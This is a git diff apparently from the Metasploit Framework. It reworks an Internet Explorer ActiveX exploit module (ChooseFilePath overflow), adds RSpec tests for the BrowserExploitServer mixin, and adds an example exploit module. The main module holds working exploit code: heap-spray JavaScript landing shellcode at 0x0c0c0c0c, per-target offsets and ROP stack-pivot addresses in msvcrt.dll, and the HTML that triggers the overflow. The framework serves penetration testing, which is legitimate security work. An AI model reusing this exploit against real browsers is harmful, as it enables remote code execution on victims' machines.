|
||||
:ua_maxver => "8.0",
|
||||
:javascript => true,
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:rank => Rank,
|
||||
:classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
||||
:method => "ChooseFilePath",
|
||||
})
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -56,37 +42,61 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
||||
:method => "ChooseFilePath",
|
||||
:os_name => /win/i
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 6 on Windows XP SP3',
|
||||
[
|
||||
'Windows XP with IE 6',
|
||||
{
|
||||
'os_flavor' => 'XP',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '6.0',
|
||||
'Rop' => false,
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c0c
|
||||
}
|
||||
],
|
||||
[ 'IE 7 on Windows XP SP3',
|
||||
[
|
||||
'Windows XP with IE 7',
|
||||
{
|
||||
'os_flavor' => 'XP',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '7.0',
|
||||
'Rop' => false,
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c0c
|
||||
}
|
||||
],
|
||||
[ 'IE 8 on Windows XP SP3',
|
||||
[
|
||||
'Windows XP with IE 8',
|
||||
{
|
||||
'os_flavor' => 'XP',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '8.0',
|
||||
'Rop' => true,
|
||||
'Offset' => '0x5f6',
|
||||
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
|
||||
}
|
||||
],
|
||||
[ 'IE 7 on Windows Vista',
|
||||
[
|
||||
'Windows Vista with IE 7',
|
||||
{
|
||||
'os_flavor' => 'Vista',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '7.0',
|
||||
'Rop' => false,
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c0c
|
||||
}
|
||||
]
|
||||
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2012",
|
||||
|
@ -95,41 +105,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class)
|
||||
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.0'
|
||||
os_name = 'Windows Vista'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
print_status("Target selected as: #{t.name}")
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def ie_heap_spray(my_target, p)
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||||
def ie_heap_spray(p)
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
|
||||
|
||||
# Land the payload at 0x0c0c0c0c
|
||||
|
||||
|
@ -138,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
var code = unescape("#{js_code}");
|
||||
var nops = unescape("#{js_nops}");
|
||||
while (nops.length < 0x80000) nops += nops;
|
||||
var offset = nops.substring(0, #{my_target['Offset']});
|
||||
var offset = nops.substring(0, #{get_target['Offset']});
|
||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||
|
@ -158,49 +141,35 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return js
|
||||
end
|
||||
|
||||
def load_exploit_html(my_target, cli)
|
||||
def exploit_template(cli, target_info)
|
||||
|
||||
if my_target['Rop']
|
||||
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
|
||||
if get_target['Rop']
|
||||
p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
|
||||
else
|
||||
p = payload.encoded
|
||||
p = get_payload(cli, target_info)
|
||||
end
|
||||
|
||||
spray = ie_heap_spray(my_target, p)
|
||||
spray = ie_heap_spray(p)
|
||||
target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))
|
||||
|
||||
html = %Q|
|
||||
html_template = %Q|
|
||||
<html>
|
||||
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
|
||||
<script>
|
||||
#{spray}
|
||||
|
||||
<%=spray%>
|
||||
junk='';
|
||||
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
|
||||
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
|
||||
pwnd.ChooseFilePath(junk + "<%=target_ret%>");
|
||||
</script>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
uri = request.uri
|
||||
print_status("Requesting: #{uri}")
|
||||
|
||||
my_target = get_target(agent)
|
||||
# Avoid the attack if no suitable target found
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
html = load_exploit_html(my_target, cli)
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Sending HTML...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
send_exploit_html(cli, exploit_template(cli, target_info))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,174 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||
|
||||
describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
|
||||
subject(:server) do
|
||||
mod = Msf::Exploit.allocate
|
||||
mod.extend described_class
|
||||
mod.send(:initialize, {})
|
||||
mod
|
||||
end
|
||||
|
||||
let(:service_double) do
|
||||
service = double("service")
|
||||
service.stub(:server_name=)
|
||||
service.stub(:add_resource)
|
||||
|
||||
service
|
||||
end
|
||||
|
||||
let(:profile_name) do
|
||||
"random"
|
||||
end
|
||||
|
||||
let(:expected_os_name) do
|
||||
"linux"
|
||||
end
|
||||
|
||||
let(:expected_user_agent) do
|
||||
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
|
||||
end
|
||||
|
||||
let(:expected_profile) do
|
||||
{
|
||||
:source=>"script",
|
||||
:os_name=>"Microsoft Windows",
|
||||
:os_flavor=>"XP",
|
||||
:ua_name=>"MSIE",
|
||||
:ua_ver=>"8.0",
|
||||
:arch=>"x86",
|
||||
:office=>"null",
|
||||
:activex=>"true",
|
||||
:proxy=>false,
|
||||
:language=>"en-us",
|
||||
:tried=>true
|
||||
}
|
||||
end
|
||||
|
||||
before do
|
||||
Rex::ServiceManager.stub(:start => service_double)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
server.start_service
|
||||
end
|
||||
|
||||
describe ".get_module_resource" do
|
||||
it "should give me a URI to access the exploit page" do
|
||||
ivar_exploit_page = server.instance_variable_get(:@exploit_receiver_page)
|
||||
module_resource = server.get_module_resource
|
||||
module_resource.should match(ivar_exploit_page)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_bad_requirements" do
|
||||
it "should not contain any bad requirements" do
|
||||
server.get_bad_requirements(expected_profile).should eq([])
|
||||
end
|
||||
|
||||
it "should have identify :os_name as a requirement not met" do
|
||||
fake_profile = {
|
||||
"rMWwSAwBHLoESpHbEGbsv" => {
|
||||
:os_name => expected_os_name
|
||||
}}
|
||||
|
||||
server.instance_variable_set(:@requirements, {:os_name => /win/i})
|
||||
baddies = server.get_bad_requirements(fake_profile)
|
||||
baddies.should eq([:os_name])
|
||||
end
|
||||
end
|
||||
|
||||
describe ".init_profile" do
|
||||
it "should initialize an empety profile for tag 'random'" do
|
||||
server.init_profile(profile_name)
|
||||
ivar_target_profile = server.instance_variable_get(:@target_profiles)
|
||||
ivar_target_profile.should eq({profile_name=>{}})
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_profile" do
|
||||
it "should return nil when a profile isn't found" do
|
||||
server.init_profile(profile_name)
|
||||
p = server.get_profile("non_existent_profile")
|
||||
p.should be_nil
|
||||
end
|
||||
|
||||
it "should return a profile if found" do
|
||||
server.init_profile(profile_name)
|
||||
p = server.get_profile(profile_name)
|
||||
p.should eq({})
|
||||
end
|
||||
end
|
||||
|
||||
describe ".update_profile" do
|
||||
it "should update my target profile's :os_name information" do
|
||||
server.init_profile(profile_name)
|
||||
profile = server.get_profile(profile_name)
|
||||
server.update_profile(profile, :os_name, expected_os_name)
|
||||
profile = server.get_profile(profile_name)
|
||||
profile[:os_name].should eq(expected_os_name)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_detection_html" do
|
||||
it "should return the detection code that the client will get" do
|
||||
html = server.get_detection_html(expected_user_agent)
|
||||
html.should_not eq('')
|
||||
end
|
||||
end
|
||||
|
||||
describe ".on_request_exploit" do
|
||||
it "should raise a NoMethodError if called" do
|
||||
fake_cli = nil
|
||||
fake_request = nil
|
||||
fake_browser_info = nil
|
||||
lambda {
|
||||
server.on_request_exploit(fake_cli, fake_request, fake_browser_info)
|
||||
}.should raise_error
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_target" do
|
||||
it "should return a target" do
|
||||
#
|
||||
# Using Object for Msf::Module::Target
|
||||
#
|
||||
expected_object = Object
|
||||
server.instance_variable_set(:@target, expected_object)
|
||||
server.get_target.should eq(expected_object)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".try_set_target" do
|
||||
it "should try to set a target based on requirements" do
|
||||
#
|
||||
# This testcase needs to be better somehow, but not sure how to actually create
|
||||
# a Msf::Module::Target. All we're able to test here is making sure the method
|
||||
# doesn't raise anything by exercising the code.
|
||||
#
|
||||
server.instance_variable_set(:@requirements, {:os_name => /win/i})
|
||||
server.instance_variable_set(:@target, Object)
|
||||
server.try_set_target(expected_profile)
|
||||
server.get_target.should eq(Object)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".extract_requirements" do
|
||||
it "should find all the recognizable keys" do
|
||||
requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"}
|
||||
matches = server.extract_requirements(requirements)
|
||||
matches.should eq(requirements)
|
||||
end
|
||||
|
||||
it "should make sure the keys are always symbols" do
|
||||
requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"}
|
||||
matches = server.extract_requirements(requirements)
|
||||
matches.each do |k,v|
|
||||
k.class.should eq(Symbol)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -5,16 +5,23 @@ describe Rex::Exploitation::Js::Detect do
|
|||
context "Class methods" do
|
||||
|
||||
context ".os" do
|
||||
it "should load the OS Detect javascript" do
|
||||
it "should load the OS detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.os.to_s
|
||||
js.should =~ /window\.os_detect/
|
||||
end
|
||||
end
|
||||
|
||||
context ".addons" do
|
||||
it "should load the Addons Detect javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.addons.to_s
|
||||
js.should =~ /window\.addons_detect/
|
||||
context ".ie_addons" do
|
||||
it "should load the IE Addons detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.ie_addons.to_s
|
||||
js.should =~ /window\.ie_addons_detect/
|
||||
end
|
||||
end
|
||||
|
||||
context ".misc_addons" do
|
||||
it "should load the misc Addons detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.misc_addons.to_s
|
||||
js.should =~ /window\.misc_addons_detect/
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -11,6 +11,14 @@ describe Rex::Exploitation::Js::Network do
|
|||
end
|
||||
end
|
||||
|
||||
context ".ajax_post" do
|
||||
it "should load the postInfo javascript" do
|
||||
js = Rex::Exploitation::Js::Network.ajax_post
|
||||
js.should =~ /function postInfo/
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,149 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "IE Exploit for BrowserExploitServer Proof-of-Concept",
|
||||
'Description' => %q{
|
||||
Here's an example of building an exploit using the BrowserExploitServer.
|
||||
This example requires the target to be exploit. If not, the mixin will
|
||||
send a fake 404 as a way to avoid engaging the target. The example is
|
||||
for Windows only.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://metasploit.com' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
#:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", # ShockwaveFlash.ShockwaveFlash.1
|
||||
#:method => "LoadMovie",
|
||||
:os_name => /win/i
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'Windows XP with IE 8',
|
||||
{
|
||||
'os_flavor' => 'XP',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '8.0',
|
||||
'Rop' => true,
|
||||
'Offset' => 0x100
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows 7 with IE 9',
|
||||
{
|
||||
'os_flavor' => '7',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '9.0',
|
||||
'Rop' => true,
|
||||
'Offset' => 0x100
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows 7 with IE 10',
|
||||
{
|
||||
'os_flavor' => '7',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '10.0',
|
||||
'Rop' => true,
|
||||
'Offset' => 0x100
|
||||
}
|
||||
]
|
||||
],
|
||||
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00", #Our spray doesn't like null bytes
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
#
|
||||
# This example shows how to use ERB and being able to use the arguments and local vars
|
||||
#
|
||||
def exploit_template1(target_info, txt)
|
||||
txt2 = "I can use local vars!"
|
||||
|
||||
template = %Q|
|
||||
<% msg = "This page is generated by an exploit" %>
|
||||
<%=msg%><br>
|
||||
<%=txt%><br>
|
||||
<%=txt2%><br>
|
||||
<p></p>
|
||||
Data gathered from source: #{target_info[:source]}<br>
|
||||
OS name: #{target_info[:os_name]}<br>
|
||||
Flavor: #{target_info[:os_flavor]}<br>
|
||||
UA name: #{target_info[:ua_name]}<br>
|
||||
UA version: #{target_info[:ua_ver]}<br>
|
||||
Java version: #{target_info[:java]}<br>
|
||||
Office version: #{target_info[:office]}
|
||||
|
|
||||
|
||||
return template, binding()
|
||||
end
|
||||
|
||||
#
|
||||
# This example shows how to generate an ERB template without passing binding
|
||||
#
|
||||
def exploit_template2(target_info)
|
||||
%Q|
|
||||
<% msg = "This page is generated by an exploit" %>
|
||||
<%=msg%><br>
|
||||
<p></p>
|
||||
Data gathered from source: #{target_info[:source]}<br>
|
||||
OS name: #{target_info[:os_name]}<br>
|
||||
Flavor: #{target_info[:os_flavor]}<br>
|
||||
UA name: #{target_info[:ua_name]}<br>
|
||||
UA version: #{target_info[:ua_ver]}<br>
|
||||
Java version: #{target_info[:java]}<br>
|
||||
Office version: #{target_info[:office]}
|
||||
|
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_debug("Target selected: #{get_target.name}")
|
||||
print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*")))
|
||||
print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*")))
|
||||
p = get_payload(cli, target_info)
|
||||
vprint_line(Rex::Text.to_hex_dump(p))
|
||||
print_status("Sending exploit HTML...")
|
||||
|
||||
# Randomly pick a template to test
|
||||
if [true, false].sample
|
||||
txt = "I can pass more args"
|
||||
send_exploit_html(cli, exploit_template1(target_info, txt))
|
||||
else
|
||||
send_exploit_html(cli, exploit_template2(target_info))
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
Example of raw target_info:
|
||||
{:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true}
|
||||
=end
|
Loading…
Reference in New Issue